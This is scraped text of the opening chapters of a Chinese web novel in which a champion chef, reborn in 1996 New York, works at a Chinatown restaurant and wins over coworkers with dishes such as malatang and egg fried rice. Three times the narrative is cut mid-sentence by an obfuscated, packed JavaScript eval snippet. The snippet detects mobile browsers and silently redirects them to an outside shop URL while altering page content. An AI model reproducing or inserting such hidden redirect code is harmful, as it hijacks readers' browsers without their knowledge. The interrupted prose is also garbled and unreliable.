《我在曼哈顿开饭馆[美食]》 1. 第 1 章 “嘿，醒醒，沈？” 听到有人叫自己，沈瑶慌忙地睁开了眼。 本想着趁着店里没事，眯一会，没成想，眼睛一闭一睁就过去了快二十分钟。 她真希望自己这是在做梦，可空气中炸鸡和熏鱼的味道却在提醒她，这才是现实。 站在她跟前的，是个年过五旬的男人。 深黑的皮肤、不太标准的美式发音，他和沈瑶一样，都是不属于这片土地的外来者。 轻抿了一口杯子里的热拿铁，他替沈瑶留意着办公室的方向：“快点起来，要让陈看到，就该扣你工资了。” 男人叫琼恩，是店里的收银员。 虽然他和沈瑶认识还不到二十四小时，但还是好心地关照着这位来自东方姑娘。 沈瑶感激地点点头：“谢谢你。” 沈瑶把头上的帽子扶正，站起身后，继续用抹布擦拭着堆放着食物的架子。 好久没有干厨房里的这些杂活儿了，沈瑶有些不习惯。 还好她之前有干活的底子，所以很快就能上手。 簌簌…… 清洗着手里的抹布，抬起头，当沈瑶在镜子里看到这张脸和自己长得一模一样时，不禁又晃了神。 昨天晚上，她还在参加一年一度的全国厨师大赛。 那是她第五次蝉联冠军。 站在金奖的颁奖台，接过属于她的第五座奖杯，无数的闪光灯记录着她的辉煌，雷鸣般的掌声也在庆祝她的实至名归。 当了五年的厨神，也在国家大饭店当了四年的主厨，沈瑶想换一种不一样的生活。 她想开一家属于自己的餐厅。 可就在回家的路上，当她坐在车子后排和总经理打电话的时候，一辆失控的大货车却将她的人生撞离了原本的轨道…… 她没有死。 再次醒来时，她正躺在天桥下的一张长椅上，一翻身，连人带着几张旧报纸都从长椅上掉了下来。 咚！ 这真实的痛感提醒着她不是在做梦。 早上八点，天桥下的行人来来往往，他们脚步匆匆，没有人会在意流浪汉，可沈瑶惊讶的目光却不禁在他们的身上停留。 金色的头发、白皙的皮肤，还有不能完全听懂的语言，甚至空气中的味道都带有几分陌生…… 这里不是华国，她可以确定。 直到她拿起身边那些皱巴巴的报纸，看到右上角的时间，瞬间感到有一股凉意从背后袭来： ——1996.11.16 此时的她不仅不在华国，甚至都不在二十一世纪！ 漫无目的地在大街上走了一上午，随着脑海的记忆一点点清晰，以及路边电视机里的新闻，沈瑶这才意识到自己身处九十年代，而且是在地球的另一侧，此时的全球金融中心，纽约。 九十年代的后期，美国的经济高速发展，成了世界第一大经济体。 原主是一名偷渡客，她只听说了美国遍地是黄金的谣言，就漂洋过海地想来捞金。 可什么都不会的她别说是捞金了，因为语言不通、性格懒怠，连一份像样的工作都找不到，只能在各处打零工，像流浪汉一样住着公园的长椅。 昨天她比平时多赚了一点钱，于是买了一瓶酒庆祝，结果深夜降温，喝醉后的原主就这么冻死在了纽约的街头…… 沈瑶和原主有着一模一样的外貌，甚至年龄都同样是二十六岁。 既然老天爷给了她第二次生命，她一定会好好把握，哪怕是在异国他乡，也要努力地活下去。 摸了摸空空如也的口袋，还有空瘪的肚子，现在对她最重要的，就是要找一份糊口的工作。 不知不觉沈瑶走到了曼哈顿的唐人街，比起繁华街道上那些英文，熟悉的汉字给了她更多的安全感。 俗话说得好，老乡见老乡、两眼泪汪汪。 沈瑶觉得，在这里找工作应该会比外面容易一点。 可事实却又给了她一记重击。 因为沈瑶是偷渡来的黑户，没有身份证明，担心会惹祸上身，没有店老板愿意招她。 沈瑶就这么一家挨一家地在唐人街找了一上午，终于在“陈记餐厅”得到了一份工作。 陈记餐厅的位置偏僻，平时的客人也不多，为了节省成本，店老板找的都是最廉价的劳动力：黑人、拉丁裔、偷渡客…… 给出的工资也比最低工资低了几成。 不过对目前的沈瑶来说，这些都不是问题，能赚到钱换东西吃就已经够了。 晚上十一点四十七，外面的温度又降到了个位数。 看门外不像会有顾客再进来，店老板便提前挂了打烊的牌子。 关掉招牌上的灯，老板招呼着店里的员工们道：“好了，各位准备下班吧。” 店老板名叫陈晨，今年三十七岁。 陈晨是华裔，祖父那一辈就定居在纽约了。 陈晨从小在纽约长大，所以不会说华语，不仅平时交流用英文，行为举止也很像是这里的白人。 看店里菜单上清一色都是南方清淡的家常菜，还有墙上照片里已故老爷子的笔迹，沈瑶猜测他们一家应该是来自广省的移民。 从收银台里把今天赚到的钱拿出来，陈晨拉开了一张椅子坐下，一张张地数着。 “你的。” “还有你的。” 除了固定员工的工资是按月发放，服务员的工资都是按天结。 一个小时七块是最低时薪，但他们的时薪就只有五块。 哪怕上午十点开工，凌晨十二点收工，除去两个小时的吃饭时间，也就只有六十块。 “沈？” 看了一眼新来的沈瑶，陈晨把数好的钱放在了桌子上，“你的。” 陈晨是下午来的，只干了八个小时，所以底薪比其他人少了二十块。 沈瑶刚要伸手去拿，陈晨忽然又把钱收了回去。 “对了，你的制服要收押金，等干够了一个月再退给你。” “你下午不是说没地方住吗？住仓库的话也要收一些住宿费。” 左扣一点，右扣一点，本就不多的钱，等沈瑶拿到手时只剩下十二块了。 算是她今天当服务员的小费，加起来一共是十五块八。 唉，万恶的资本家。 不过，第一天能赚这么多，晚上还能有地方住，沈瑶已经很知足了。 接过剩下来的钱，沈瑶就像是当年领到第一笔工资一样，向他鞠了一躬：“谢谢老板。” 领完工资后，店里的员工便纷纷换衣服下班了。 琼恩负责锁门，平常都是最后一个走的。 其他员工走后，他带着沈瑶来到店里的仓库，帮着在地上收拾出了一方空地。 虽然连床单都没有，只有一床被子，但总比去公园睡长椅要好。 “给，你的晚饭。” 收拾好后，琼恩回到厨房拿来了一盒蔬菜沙拉给她。 沈瑶有些惊讶，“这？” 琼恩点点头，“放心吃吧，这是你应得的。” 在陈记工作是有一顿中午饭的，沈瑶中午错过了，正好现在给补上。 今天的员工餐是蔬菜沙拉。 蔬菜沙拉里的内容简单：一颗鸡蛋、一片培根、一块水煮鸡胸肉、一些鱿鱼圈，剩下的就是各种蔬菜叶子和一捧已经快放硬了的意面。 有荤有素有主食，乍一看很健康，但却让人丝毫提不起食欲。 尤其是那些蔬菜叶子，没有经过任何的烹饪，只是用清水洗了一遍，就算洒了一点沙拉酱，也掩盖不住它本身的青草味。 一天没吃东西，沈瑶的肚子饿得“咕咕”直叫，于是试着夹起两片菜叶，就着意面放进嘴里…… 那一刻，她感觉自己像极了牛棚里的水牛。尽管有些许蔬菜的甘甜，但更多的还是难以下咽的生苦。 见她吃菜的表情比吃药还要苦，琼恩主动把杯子里的拿铁递给她，建议道：“可能是在冰箱里放得太久了，要不要多加点沙拉酱？” 沈瑶摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578422|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头，“不，不用了。” 这不是沙拉的错，是沈瑶自己的问题。 她的胃习惯了东方的味道，所以吃不惯这些生的蔬菜沙拉。 琼恩：“要不再煮一下？熟的可能会好一点。” 沈瑶看了眼厨房的方向，“这样会不会不太好？” 琼恩笑道：“没事儿，只是用锅子煮一下东西而已。” 带着沈瑶来到厨房，琼恩主动拿起一口锅接了些水放在灶台上，“陈经常煮东西吃，还会往里面放一些东西。桌子上有很多调料，你看看你想放什么。” 陈晨经常剥削店里的员工，员工也不是傻子，也会偷偷地剥削回去。 拿一些店里的餐巾纸、带一些店里要销毁的快过期的食材，还有那些方糖和一次性筷子，被陈晨克扣的工资，他们都会想办法从别处拿回来。 沈瑶今天第一天来就被他扣下了几十块，当然也要为自己换点什么。 “我记得冷库还有一点火腿，也拿来煮进去吧？” 沈瑶：“不用不用，我用锅煮一下就行了。” 水开后，沈瑶先把鸡蛋和面热了热，又把洗干净的蔬菜放进去烫熟，搅拌着那些逐渐变软的菜叶，沈瑶注意到了那满满一排的调味料。 这里的调味料很齐全，酸甜苦辣咸香鲜，做菜需要用的味道大多都能在其中找到。 光是水煮菜有什么滋味？要是能…… “琼恩，我用这些调料的话，陈他不会发现吧？”沈瑶向他确认道。 琼恩：“不会，我们经常用。” 那就好。 说着，沈瑶又拿来一只空碗，依次往里面放了盐、陈醋、白糖等调味料，又舀出一点芝麻酱兑着生抽一点点化开，最后再加一点点麻油…… 不需要精准的计算用量，即使是随手一加的份量，也是最完美的比例。 看沈瑶搅和着那一碗深褐色的东西，琼恩的眉头不禁皱了起来。 唔，这颜色、这形状，怎么感觉像是那东西呢？ 真的能吃吗……？ 等酱料准备得差不多后，她便把烫好的菜和面倒了进去。 借着热气快速在酱料里搅拌，霎时间，一股浓郁的鲜香瞬间在厨房中炸开。 是酸味？不不不，是甜味？ 不对不对，是芝麻的香味？ 那是一股混合着酸甜鲜香的滋味，是他这辈子都不曾闻到过的味道！ 不知怎地，这味道像是有魔力一般，一个劲儿地勾着他的口水，分明就是一碗简单的水煮菜，可当和这酱料搅拌在一起后，却有了不一样的味道。 继续搅拌着碗里的菜，沈瑶又随手往里面舀了半勺辣椒油和花生碎。 陈晨买的辣椒油不够香，花生碎也……不过也还行，将就着吃吧。 本就诱人的香味瞬间又增加了更丰富的层次。 这就是华国沙拉酱的味道吗？ 意识到琼恩的目光一直盯着自己手里的碗，喉结上下滚了好几下，搅拌好后，沈瑶主动将一支叉子递给他，“尝尝看？” 琼恩太好奇这浇了“华国沙拉酱”的蔬菜会是什么味道了。 接过叉子，他叉起一片烫得嫩绿的生菜放进嘴里。 咯吱咯吱…… 生菜被烫熟后已经尝不出涩口的生味，偶尔能嚼到一些花生碎，更加丰富了口感。 和他刚才闻到的一样，先是一股清爽的酸，随后又是一点微微的甜，可浓郁的还是芝麻的香气，最后还有一丝丝的辣味。 一口生菜，他硬是咀嚼了二十多秒，这美妙的味道仿佛在他舌尖跳舞，让他久久不舍得下咽。 见他半天没说话，沈瑶试探地问：“怎么样？吃着还好吗？” “沈，你！” 琼恩不知道该怎么形容她的厨艺，只是不停地竖着大拇指，“你的厨艺真是太棒了！这绝对是我这辈子吃过最好吃的蔬菜沙拉！” 沈瑶只是微微一笑。 蔬菜沙拉？ 这在东北叫麻辣拌。 2. 第 2 章 “今天中午吃什么？” “应该是意面。” 一听说今天的员工餐是意面，琼恩眼神里的光芒倏地少了大半。 “怎么了？”沈瑶问，“意面有什么问题吗？” 把刚收到的钱一张张地放进收银机，琼恩淡淡地道：“倒不是有什么问题，只是想到你那天晚上做的蔬菜沙拉了。” 沈瑶那天晚上做的麻辣拌让他印象深刻。 那是他第一次吃到混合着酸甜麻辣的蔬菜，那味道，简直比肉还要好吃！ 可是他又不好意思直接跟沈瑶提，只得每天下班后在唐人街的各处转转，看别家中餐馆里有没有一样的蔬菜沙拉。 奇怪的是，整条唐人街的餐馆都不知道他说的“蔬菜沙拉”是什么。 芝麻酱？辣椒？生抽？醋？ 这些东西一股脑地混在一起能好吃吗？ 唐人街的华裔大多来自东南三省，比起味重的调味料，他的招牌菜更偏向清淡，只为了突出食材本身的鲜味。 所以这些天，琼恩一直等着员工餐能是蔬菜沙拉，这样一来，他就能再尝一尝那晚的美味了。 沈瑶看出了他的失落，把收来的菜单放回到收银台上后，笑着说道：“那今天晚上我们去买点菜和肉，做一顿更好吃的？” 前一秒琼恩还满脸失落，一听说晚上能再吃到麻辣拌，眼神里瞬间又燃起了欣喜的光亮。 “真的？”琼恩咽了咽口水，“蔬菜沙拉还能做得更好吃吗？” 沈瑶一边用抹布擦拭着桌面，一边点点头，说：“是啊，真正好吃的麻辣拌应该用骨汤来煮，牛骨头汤最好，这样烫过的肉和丸子会更鲜。” “而且除了花生之外，还可以放一点香菜碎、香葱碎，用浓浓的芝麻酱一拌，吃起来也不会特别腻口。” “有孜然和芝麻就更好了，稍微撒一点。哦对，还有辣椒油，陈做的辣椒油不够香，应该用烧热的花生油倒进辣椒面、五香粉、胡椒粉……” “停停停，别说了。” 琼恩喝了一口咖啡，努力把嘴里分泌出来的口水咽了回去。 他本以为那一晚的蔬菜沙拉够好吃了，可现在听她这么一描述……好像都能闻到那股香辣的滋味了！ 琼恩是不太爱吃中餐的，整天闻着从厨房里飘出来的没滋没味的菜味，他还以为华国的美食尽是这种清汤寡水呢。 拿起收银台一旁的纸笔，琼恩问：“需要买什么？你跟我说，等晚上我去买。” 刚要下笔，琼恩忽然又想到了什么，“除了蔬菜和肉，还能放点别的食材吗？虾？扇贝？玉米？” “当然可以。”沈瑶回答道。 麻辣拌的灵魂就是拌料，只要拌料调得好，拌鞋底子就好吃。 琼恩下意识抹了一把嘴角快流出来的口水，“那说好了，今天买食材的钱我来出，你负责做就行。” 既然琼恩这么坚持，沈瑶也就不跟他客气了，“好，听你的。” 下午三点，终于到餐厅员工休息吃中饭的时候了。 “米饭在锅里，菜也炒好了。” 把外套穿好，看外面似乎有些冷，陈晨又拿起了一顶帽子盖在头上，“我出去办点事，店里的事就交给你们了。” “今天的员工餐不是说是意面？”有人问道。 调整着帽子的角度，陈晨不耐烦地皱了下眉：“有什么就吃什么，今天中午客人少，做的米饭不赶紧吃掉，难道要丢进垃圾桶吗？” 今天店里的客人不多，中午一共就接待了四桌。 所以不止米饭是中午没卖掉的，炸马铃薯和水煮胡萝卜条也都是早上备菜时备多的。 不过陈晨的良心还算没完全泯灭，还给他们拿了几根火腿肠、几个鸡蛋和一个金枪鱼罐头，当做是员工餐的肉菜。 看到锅里白花花的米饭，几个员工兴致缺缺地拿起铲子往餐盘里多舀了一勺土豆。 店里的员工大多是白人，他们不爱吃米饭，比起没什么味道的大米，他们宁愿多吃一点马铃薯和胡萝卜。 也就只有和陈晨来自同一故乡的沈瑶，会老老实实地盛满满一碗大米饭。 “真不吃一点主食吗？下午工作会没力气的。” 几人摇摇头，继续吃着盘子里没什么味道的煮胡萝卜，也就蘸点罐头里的汁才勉强能咽下去。 琼恩原本盛了半碗，不过想了想后，又拨回去了一半。 还是不吃那么多了，留着点肚子，到了晚上下班就能吃沈做的蔬菜沙拉了。 也就八个小时嘛，忍忍就过去了。 米饭是凉的，菜是凉的，虽然沈瑶喜欢吃米饭，可面对这么一桌“凉菜”，她也着实没什么食欲。 “要不我把饭加点鸡蛋炒一下？热的可能味道会好一点。”沈瑶试着建议道。 其他人没说话。 热不热的都那样，反正他们也不吃。 倒是琼恩很捧她的场，点头道：“好啊，再调点那天晚上的沙拉酱，拌一拌说不定也会很好吃！” 麻辣拌里放面会好吃，米的话，还是得用另一种做法。 “需要我去买点什么吗？” 沈瑶把锅里的凉透的米饭端进厨房，“不用，把鸡蛋和香肠拿进来就行。” 蛋炒饭需要的食材不多，调味也不复杂，只需要控制好炒饭的火候。 啪啪……啪啪啪…… 咣咣……咣咣咣…… 把鸡蛋打散，又把香肠切好，看到砧板旁边还有一些没用完的葱段，她也顺手切了一点。 想着他们应该吃不惯葱味，但又为了增加蛋香和米香，所以只切了指甲盖大小。 起锅，烧油。 嗤！ 裹了蛋液的米饭下锅时发出一声刺响，用勺子熟练地上下翻炒，原本粘在一起的米粒迅速分开，每一粒表面都均匀地裹着一层金黄的蛋液。 等快要炒熟时，她又把火调小，同时在旁边的锅里重新下入葱、香肠丁和另一份蛋液，最后才把剩下的米饭倒进去。 好香啊~ 餐厅里，正在吃水煮胡萝卜条的服务员们纷纷放下了手里的刀叉，抬头朝着厨房观望。 他们经常见陈晨炒鸡蛋，也见它做过蛋炒饭，可这味道却和平日里闻起来的完全不同。 少了厚重的花生油味，加重了鸡蛋和香肠的味道，还有米饭，原来没有味道的米饭在炒熟后也是有米香的！ 站起身，他们捧着餐盘往厨房的方向挪了几步。 两口锅的米饭都快炒熟的时候，沈瑶把它们混合在了一起，同时加大了燃气，一边快速翻炒，一边往里面洒了一点五香粉和盐。 轰！轰！35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578423|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 米饭在火焰中上下翻滚，原本分离的金黄和淡白混合在了一起，彼此碰撞，迸发出了一阵又一阵浓郁的饭香味，随着调料的加入，层次也越来越厚重。 “出锅了~！” 沈瑶端着锅转身，一听饭炒好了，几人下意识地想把手里的盘子伸过去接，可她却把炒好的米饭倒进了一只更大的盘子里。 “我来帮你端。” “让开让开，让我来。” 刚才还无人问津的米饭，一下子变得炙手可热，每个人都迫不及待地想尝第一口。 同样是蛋炒饭，沈瑶炒得可比陈晨好看多了。 裹着蛋液的米饭炒得久，颜色是诱人的金黄，和没有裹蛋液的米饭混合在一起，像是一碗细碎的金银元宝，最后再点缀一点香肠和胡萝卜丁，看着就让人流口水！ 拿起叉子迫不及待地舀起一点放进嘴里，这香味瞬间让几人睁大了眼。 “上帝，米饭竟然能这么好吃？！” “我好像吃到了海鲜的味道，不对不对，不是海鲜，是……哎呀，我也不知道该怎么形容这种香味。” “我的天，你这米饭不仅炒得像是画一样好看，吃起来更像是把温暖的夏天嚼进嘴里了！” …… 一个又一个“我的天”，把沈瑶夸得有点不好意思了。 只是一个简单的蛋炒饭而已，哪有那么夸张嘛。 可惜米比较一般，油也不合适，要是换成五常大米和猪油，再加一点豌豆和虾仁，一定会更好吃。 “你们看，我没骗你们吧，”琼恩一边说，一边往碗里拨着饭，生怕动作慢一点蛋炒饭就被他们抢完了，“我早就说了，沈做的饭很好吃，不仅比陈做的好，整条唐人街也没人能比得过她。” 一大盘的蛋炒饭，还不到五分钟就快见了底，而那金枪鱼罐头却半天没人动。 金枪鱼有什么好吃的？又咸又腥，还不如蛋炒饭呢。 正吃着，餐厅的门从外面被推开。 戴着安全帽的男人进门时，同时带进来了一股凉风。 “请问，有什么主食卖吗？”男人礼貌地问道。 他是在附近装修的工人，刚结束手头上的活准备吃饭。雇主家的面包准备得有些少，只好自己出来买一些。 过了饭点，许多餐厅都在休息，男人沿着街找了半天，经过陈记时闻到了飘出的饭香才推门进来问。 店里的几人面面相觑，努力把嘴里塞满的米饭给咽下去。 唔，原本是有的，但现在都成了锅里的蛋炒饭…… “店里蛋炒饭可以吗？”沈瑶回答说。 男人点点头：“可以，只要是热的就行。” 回到厨房，沈瑶用打包盒盛了一碗蛋炒饭，出来后交到男人手上，“五刀。” 男人应了一声，从口袋里拿出几张票子给她。 “谢谢。” “不客气，欢迎下次再来。” 从店里出来后，在回去的路上，男人打开打包盒看了一眼里面还热乎的蛋炒饭。 扑面而来的饭香比他在门口闻到的还要浓郁，一下子把他肚子里的馋虫都快勾出来了。 粒粒金黄、颗颗银白，还有一些胡萝卜丁和香肠丁点缀…… 这么精致的炒饭，一大盒竟然才五刀？未免也太便宜了吧！ 3. 第 3 章 下午五点，陈晨挎着一摞厚厚的海报从外面回来了。 还没到晚饭时间，当他推开门时，只见店里的服务员像是大白天的蝙蝠，一个个都趴在桌子上打盹，没精打采的。 不是累的，是一口气吃了太多的米饭，晕碳。 厨房里，炒饭的味道已经散干净了，只剩下一口洗干净的蒸锅。 “米你们吃完了？”陈晨随口问道。 走到吧台前接一杯热咖啡，琼恩慵懒地打了一个哈欠：“你说的，不能浪费。” “老板，什么时候再吃米饭？” 服务员领班伸了个懒腰，主动走上前从他手里接过了那些海报。 以前他们是不爱吃米饭的，可今天尝过沈瑶的手艺后才知道，不是米饭难吃，单纯是陈晨把米饭做得没味道。 不过仔细想想也能理解，如果米饭真要不好吃的话，华国人又怎么会这么爱吃呢？ “过两天再说吧。” 又看了眼那口干干净净的锅，陈晨不由得轻哼一声：一群口嫌体直的家伙。 不是说不爱吃米饭？还不是折服于自己蒸饭的手艺？ 呵…… 撕掉厨房外面那张已经浸了油的宣传页，陈晨对领班说道：“把海报换好后你再安排一下，排一下他们的工作时间，轮流去路上发咱们的新品传单。” 新品？ 把最大的那一张海报展开，上面印着一锅巨大的鸡汤：清亮的汤色、点缀着红色的枸杞、绿色的葱花，中间是一只肥美的鸡腿，看着就让人很有食欲。 为了突出是中餐的特色，还特地写着两个硕大的中文：滋补，最下面才是英文注释。 已经入冬了，这时候上架滋补汤再合适不过。 陈晨下午出门，就是忙着找人设计海报并打印宣传广告。 不止是鸡汤，还有鱼汤、老鸭汤和排骨汤…… 炖汤是广省人民刻在基因里的习惯，没人比他们更懂怎么做一锅暖身滋补的靓汤。 想当年，陈记就是靠着陈老爷子的靓汤打响了招牌，别看平日里陈记餐馆门可罗雀，到了冬季，他们的生意还是挺火热的。 “老板，炖汤忙不过来的话，不如让沈来给你帮帮忙？”领班提议道，“她也挺会做饭的。” “她？” 陈晨确实观察了她几天，干活是挺麻利的，也挺有眼色。 会做饭？这点可真没看出来。 “算了，”在柜子里翻找着冬天的菜单，陈晨淡淡地道，“这汤是我们家的独家秘方，让她帮忙，不就让她学会了吗？万一哪天她不干了，去了别家餐厅，那我可就亏死了。” 唐人街的餐厅，各有各的特色。 靓汤就是陈记的特色。 除了陈晨本人之外，他从来没让任何人看过家里的菜谱。 刚来店里几天的人想学了去？不可能！ …… 广告单的效果不错，刚发出去才一个多小时，就有七八名食客推开了陈记的大门。 “欢迎光临。” 看到食客是一群身材健硕的工人，陈晨眼前一亮。 工人的饭量大，八个人少说能吃十二人份的饭菜。 “嗨，听说你们这里的饭很好吃。” 找了一处宽敞的卡座坐下，男人对接待他们的服务员说道。 站在厨房的出餐口前，陈晨得意地调整着头上的厨师帽：“我们陈记可是在唐人街开了几十年的老店，味道有口皆碑。” 坐在对面，卡尔的目光在店里扫了一圈，并没有看到下午给自己盛饭的那名女服务员。 虽然有些失望，但想到自己这次来的目的，还是没有表露出来。 “八份鸡蛋炒米饭，别的随便上吧，够我们吃就行。”卡尔没有看菜单，只是对陈晨说道。 陈晨的嘴角扬得更高了，“好，没问题。” 他就知道，是金子总会发光的。 虽然陈记的招牌远不如当年响亮，但识货的人，心里总会给陈记留有一亩三分地的。 当老板的人都知道，这种从别处听说、别人介绍的食客最难得，要是招待好了，以后一定会口口相传带来更多的生意。 所以陈晨丝毫不敢马虎，把围裙系紧后，打起了十二分精神开始准备他们的饭菜。 打量着店里略显陈旧的装潢，同行的人狐疑地皱了下眉：“卡尔，那炒饭真是你在这儿买的？别是你怕请客花钱，随便找了个地方吧。” “是啊。” 转头看向那位坐在窗边的客人，另一个人原本也有些怀疑，但看到盘子上的“陈记”和下午打包盒上看到的字一模一样，这才不情愿地相信。 可是，那人吃的面看着好寡淡啊，根本让人提不起胃口。 虽说下午他带回去的蛋炒饭也不是什么山珍海味，可看起来却让人很有食欲，还有那股扑鼻的饭香……直到现在，他们都还记得米饭在口中嚼碎的味道。 卡尔原本买回去是自己吃的，看有人不够吃就分了他们一点，结果这一分，倒让自己吃不饱了。 几个工友里，有两三个人吃了卡尔买的蛋炒饭，实话实说，这绝对是他们吃过最好吃的蛋炒饭。 以至于干完活后，他们就急着让卡尔带路，好能饱餐一顿。 瞧他们那猴急的样子，其他没吃过的人不信米饭会好吃，便也跟着一起来尝尝，看到底是怎么样的美味。 等了十几分钟后，几盘蛋炒饭终于端上了桌。 “嗯，闻着确实挺香的。” “看来你小子没吹牛。” 拿起勺子，一旁的工友迫不及待地舀起了一勺递到嘴里。 倒是卡尔，还有下午吃过的那几人，迟迟没有动手边的刀叉。 比起下午吃的蛋炒饭，眼前的这一盘里虽然也有香肠和胡萝卜丁，但更多了不少其他的食材。 虾仁、扇贝肉还有一点可以用来拌饭的咸菜。 可是，他们也说不上来为什么，总觉得和下午吃得不太一样。 试着舀一勺尝尝…… 味道不能说不好吃，确实还行，但远不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578424|187209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如下午吃的那么惊艳。 这蛋炒饭的味道，好像别的中餐馆也能做出来，没有什么让人记忆深刻的地方。 反而是下午的那一碗，不管是口感还是味道，他们都从来没再别的中餐馆吃到过，它们每一粒都是鲜活的，在口中能迸发出食物的美味。 “卡尔，你怎么不吃？” “是啊，这不是挺好吃的嘛。” 用叉子叉着盘子里的饭，卡尔不知道该怎么跟他们解释。 他想吃的是“活”的蛋炒饭，不是这种“死”的啊。 …… 陈晨印的广告单很有效果，在外面发了几个小时，果然有不少的食客涌进了陈记的大门。 他们都是冲着“滋补、健康”来的，冬天的天气冷，比起三明治和汉堡包，谁不想喝一点热乎乎的汤暖暖身子呢？ 单是这第一晚，店里就卖出去了二十多份炖汤，每个人喝完都是眉开眼笑的。 冷清了好几个月的陈记，总算是找回了一点当年的热闹。 过了晚上十点，店里的客人逐渐减少，陈晨没有急着给沈瑶他们这些临时工发工资，而是把他们叫去后厨，继续榨取着他们工作时间的价值。 “把鸡的内脏挖出来，还有鸡头、鸡爪也都像我这样剁干净。” 拿起刀，陈晨手起刀落，向他们示范着该怎么处理鸡。 三下五除二的功夫，原本一直完整的鸡，就这么在他手里变成了没头没脚没内脏的“干净”鸡。 通过今晚炖汤的热卖，可以预见到，未来几个月内滋补汤一定会越卖越好，每天都现处理这些鸡肯定来不及，只能提前处理好冻着，等到用的时候再拿出来解冻。 美国人不吃鸡头、鸡爪、鸡内脏，在他们看来这些都是脏的、不值得吃的，所以在炖汤之前一定要处理干净。 头一砍、脚一切，还有内脏什么的，按照陈晨的要求处理干净后，不要的这些东西，差不多占了一只鸡重量的三分之一。 而这些没办法用来炖汤的东西，则被分别丢进了几只盆里。 陈晨拿着一只碗从中挑出了一些鸡心和鸡爪，不多，也就几个而已，应该是准备做着给自己吃。 “等会垃圾车来了，记得都扔掉。”挑完后，陈晨对领班吩咐道。 沈瑶：？？？ “全部扔掉？会不会太浪费了。” 陈晨一边清理着碗里的鸡爪和鸡心，一边反问她道：“吃不完又卖不掉，不扔掉留着干什么？” 陈晨虽然可以吃鸡爪和鸡心，但每天几十上百只的鸡爪，他一个人也吃不完啊，留在店里也只会浪费冷库的储存空间。 当然，向来节省的他，之前也把鸡爪做成过员工餐给店里的服务员吃，结果他们非但不吃，反而还跑去劳动局把自己给举报了。 没办法，他只能像其他餐厅一样，把这些东西当做垃圾处理掉。 看着二十多斤的鸡爪和鸡内脏，沈瑶的心都在跟着滴血…… 这么好吃的东西要全部扔进垃圾桶？不是暴殄天物吗？！ 4. 第 4 章 十一月的纽约，温度一天比一天冷。 天气预报说这周末要下雪，不知道是真是假。 “沈，你有冬天的厚衣服吗？” 一大早，琼恩就推开了陈记的大门。 他的公寓离唐人街不算远，可这一路走来，脖子上的围巾还是凝了一层薄薄的白霜。 脱下外套、摘下围巾，琼恩像往常一样换上了搭在椅背上的员工装，可半天都没听到沈瑶的答复。 奇怪，在他的印象里，沈瑶是不会睡懒觉的。 难道是没听到？ “沈？” 琼恩提高了音调，又叫了她一声。 “在，我在。” 话音刚落，就看到沈瑶手忙脚乱地从冷库溜身出来，同时还把一双厚手套下意识藏在了身后。 这么一大早的，她在冷库里面干什么？ 朝厨房这边走来，琼恩朝没关严的冷库里瞥了一眼，“你在干什么？” 那是一只巨大的保温桶，里面一定藏了什么不为人知的秘密。 沈瑶的力气有限，还没来得及把它推到冷库的角落，保温桶里的东西有不少都洒了出来，是一种深褐色的液体，只是冷库的温度太低，掩盖住了那股味道。 琼恩有种不太好的预感…… 把手套放在一旁，自知瞒不住的沈瑶，选择向他坦白：“好吧，既然你都看到了，那我就不瞒你了。”说着，顺手拿了一柄叉子后，又主动招呼着他一起走进冷库，“你还没吃饭吧？正好来尝尝，看味道怎么样。” 尝？！ 琼恩咽了咽口水。 虽然他早上确实没吃饭，但他也没饿得想吃人啊。 可是琼恩不敢拒绝，他怕下一秒自己会躺在另一只保温桶里。 唉！平日他见沈瑶挺平易近人的，没想到她竟然…… 掀开保温桶的盖子，琼恩一眼就看到了一条飘在深褐色液体里的肠子，细细长长的一根，表面还挂着不少的卤料。 上帝！耶稣！我的主！ 琼恩年龄大了，哪里受得住这样的惊吓，膝盖一软，差点“扑通”一下跪在地上求沈瑶饶自己一命。 可当沈瑶把那肠子挑开，从下面挑出了几个鸡爪和一些土豆片时，琼恩脸上的惊恐才稍稍缓解了大半。 里面好像不是人，而是……鸡？ 鸡肠、鸡心、鸡爪，土豆片、豆腐片，还有一些叫不上名字的片。满满一大桶，就这么浸泡在那放有各类调料品的卤汁里。 “我炖了一个晚上，你瞧，还温热着呢。” 想着美国人几乎很少有人吃内脏，所以沈瑶只挑了一些素菜和卤蛋出来，不过她倒是挑了几根肉多软烂的鸡爪，因为这可是卤味的灵魂，不得不尝！ 长长地松了一口气，琼恩调整着头上的帽子，“原来是鸡啊，你真是吓死我了。” 沈瑶疑惑道：“当然是鸡了，不然还能是什么？” 接过沈瑶递来的一碗卤味，琼恩这才闻到了那股熬煮一夜后醇浓的香辛味。 